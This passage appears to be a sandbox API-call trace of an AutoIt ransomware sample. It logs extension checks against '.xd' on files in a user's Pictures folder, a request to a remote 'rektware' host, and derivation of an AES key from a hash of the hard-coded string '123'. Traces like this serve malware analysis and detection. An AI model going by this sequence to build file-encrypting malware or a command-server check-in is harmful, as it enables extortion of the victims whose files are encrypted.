CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="vKxqSGgaoDjGIW7\\3iFokmG.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.908] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="KxqSGgaoDjGIW7\\3iFokmG.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.908] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xqSGgaoDjGIW7\\3iFokmG.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.908] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="qSGgaoDjGIW7\\3iFokmG.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.908] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SGgaoDjGIW7\\3iFokmG.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.908] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GgaoDjGIW7\\3iFokmG.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.908] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="gaoDjGIW7\\3iFokmG.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.908] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="aoDjGIW7\\3iFokmG.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.908] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="oDjGIW7\\3iFokmG.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.908] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DjGIW7\\3iFokmG.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.908] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jGIW7\\3iFokmG.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.908] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GIW7\\3iFokmG.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.908] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IW7\\3iFokmG.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.908] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="W7\\3iFokmG.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.908] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="7\\3iFokmG.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.908] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\3iFokmG.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.909] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="3iFokmG.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.909] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iFokmG.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.909] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="FokmG.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.909] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="okmG.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.909] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kmG.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.909] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mG.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.909] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="G.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.909] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0061.909] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.909] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0061.909] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0061.909] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0061.909] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0061.909] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0061.909] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0061.909] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0061.909] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0061.909] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e50, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620e50, lpdwBufferLength=0x130ee1c) returned 1 [0061.909] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0061.909] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0061.909] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0061.910] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0061.910] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0061.910] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0061.910] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629130, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629130*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0061.910] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16293a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16293a0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0061.910] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0061.910] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0061.910] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0061.910] CloseHandle (hObject=0x0) returned 0 [0061.910] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.910] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\3iFokmG.png", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0061.910] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0061.911] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.911] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0061.911] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.911] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.911] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0061.911] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.911] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0061.911] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.911] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.911] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0061.912] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.912] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.912] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.912] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.912] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.912] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0061.912] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0061.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0061.912] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0061.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0061.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164df90, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0061.912] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0061.912] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17a9f88) returned 1 [0061.913] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.913] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.913] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0061.913] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.913] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.913] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.913] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.913] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.913] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0061.913] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.913] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.913] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.913] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.913] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.914] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.914] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0061.914] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.914] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.914] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0061.914] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.914] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.914] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0061.914] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.914] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.914] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0061.914] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.914] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.914] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.914] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.914] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.914] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.914] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.914] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0061.914] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.914] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.914] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0061.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621468, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0061.915] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0061.915] CryptCreateHash (in: hProv=0x17a9f88, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0061.915] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.915] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.915] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.915] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0061.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16293c0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0061.915] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0061.915] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0061.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16294a0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0061.915] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.915] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.915] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.915] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0061.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x16218b8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0061.916] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0061.916] CryptHashData (hHash=0x164c630, pbData=0x1629430, dwDataLen=0x3, dwFlags=0x1) returned 1 [0061.916] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.916] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.916] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.916] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.916] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.916] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0061.916] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.916] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0061.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621648, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0061.916] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0061.916] CryptDeriveKey (in: hProv=0x17a9f88, Algid=0x6610, hBaseData=0x164c630, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c7f0) returned 1 [0061.916] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.916] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.916] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.916] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.916] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.917] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.917] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0061.917] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0061.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e050, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0061.917] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0061.917] CryptDestroyHash (hHash=0x164c630) returned 1 [0061.917] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.917] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.917] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.917] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) 